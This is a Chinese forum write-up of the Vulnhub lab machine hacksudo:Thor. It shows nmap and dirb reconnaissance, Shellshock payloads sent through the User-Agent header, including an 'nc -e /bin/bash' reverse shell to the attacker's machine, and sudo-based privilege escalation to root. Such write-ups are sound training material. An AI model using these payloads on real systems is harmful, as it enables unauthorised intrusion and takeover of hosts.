Vulnhub 靶机篇:Hacksudo_Thor
本帖最后由 Happiness 于 2024-1-24 22:19 编辑0x01 靶机信息
[*]名称:hacksudo:Thor
[*]发布日期:2021年8月3日
[*]作者:Vishal Waghmare
[*]系列:hacksudo
[*]难度:中等
[*]简介:由 vishal Waghmare 创建的盒子 这个盒子应该很容易中等。这台机器是为 InfoSec Prep 创建的 Discord Server ( https://discord.gg/kDyAKtJs ), 网站 (https://hacksudo.com)。 这个盒子是为改进 Linux 特权升级而创建的,我希望你们喜欢。该框是用 Virtualbox 创建的,但它应该适用于 VMWare Player 和 VMWare 工作站 启动后使用 netdiscover 工具查找 IP 地址,您可以在抓取页面上查看 ip。这是基于您拥有的任何设置的目标地址。您应该验证地址以防万一。 找到 root.txt 标志,将其提交到 Discord 上的 flagsubmit 频道,并有机会免费获得 hacksudo 机器黑客课程。
[*]下载链接:[https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip](https://download.vulnhub.com/hacksudo/hacksudo---Thor.zip)MD5:D1216820513FD7F96BCA40C1459861C2
[*]网络:DHCP自动分配
0x02 Write-Up2.1 主机扫描
靶机IP:192.168.135.215Kali IP:192.168.135.15
使用namp对目标机进行扫描nmap -sS -sV -Pn 192.168.135.215
-sS SYN半链接扫描, -sV 服务详细扫描, -Pn 禁ping扫描目标机开放了22、80端口,受限制的21端口
2.2 网站侦察经扫描已知,网站采用apache架构,2.4.38版本访问主页,账户名格式采用@Thor Hammer格式
浏览网页源代码,在新闻页面发现有cgi-bin,很可能存在Shellshock漏洞,前提是存在一个shell脚本
CGI脚本会继承系统的环境变量。CGI环境变量在CGI程序启动时初始化,在结束时销毁。
当一个CGI脚本未被HTTP服务器调用时,它的环境变量几乎是系统环境变量的复制,当这个CGI脚本被HTTP服务器调用时,它的环境变量就会增加关于HTTP服务器,客户端,CGI传输过程等条目。shellshock原理
Bash使用的环境变量是通过函数名称来调用的,导致漏洞出问题是以(){开头定义的环境变量在命令ENV中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。2.2.1 dirb目录扫描使用dirb的big字典对目录进行扫描dirb http://192.168.135.215/ /usr/share/dirb/wordlists/big.txt
扫描cgi-bin目录后.sh后缀的文件dirb http://192.168.135.215/cgi-bin/ -X .sh
-X 指定后缀
2.2.2 利用agent测试Shellshock漏洞修改agent参数:() { :; }; echo;/bin/bash -c 'id'执行成功
2.3 渗透路线2.3.1利用Shellshock反弹shell在kali上开启侦听nc -nvlp 4444
agent:() { :; }; echo;/bin/bash -c 'nc -e /bin/bash 192.168.135.15 4444'
修改执行
成功反弹
2.3.2 升级shell输入命令SHELL=/bin/bash script -q /dev/null
2.3.3 查找权限sudo -l
查看此用户的sudo权限发现有权限无密码执行用户thor的脚本
2.3.4 提权到用户thorsudo -u thor /home/thor/./hammer.sh提示我们输入密钥
经过尝试后,得知这里可以以用户thor的权限执行命令
输入bash,得到thor用户的环境
同样的以之前一样办法提升shell
查看用户权限发现可以用root的权限执行cat和service命令
得到user's flag
2.3.5 获取root权限
采用sudo提权,利用service命令,参考((https://gtfobins.github.io/gtfobins/service/))sudo service ../../bin/sh提权成功,获取root's flag
页:
[1]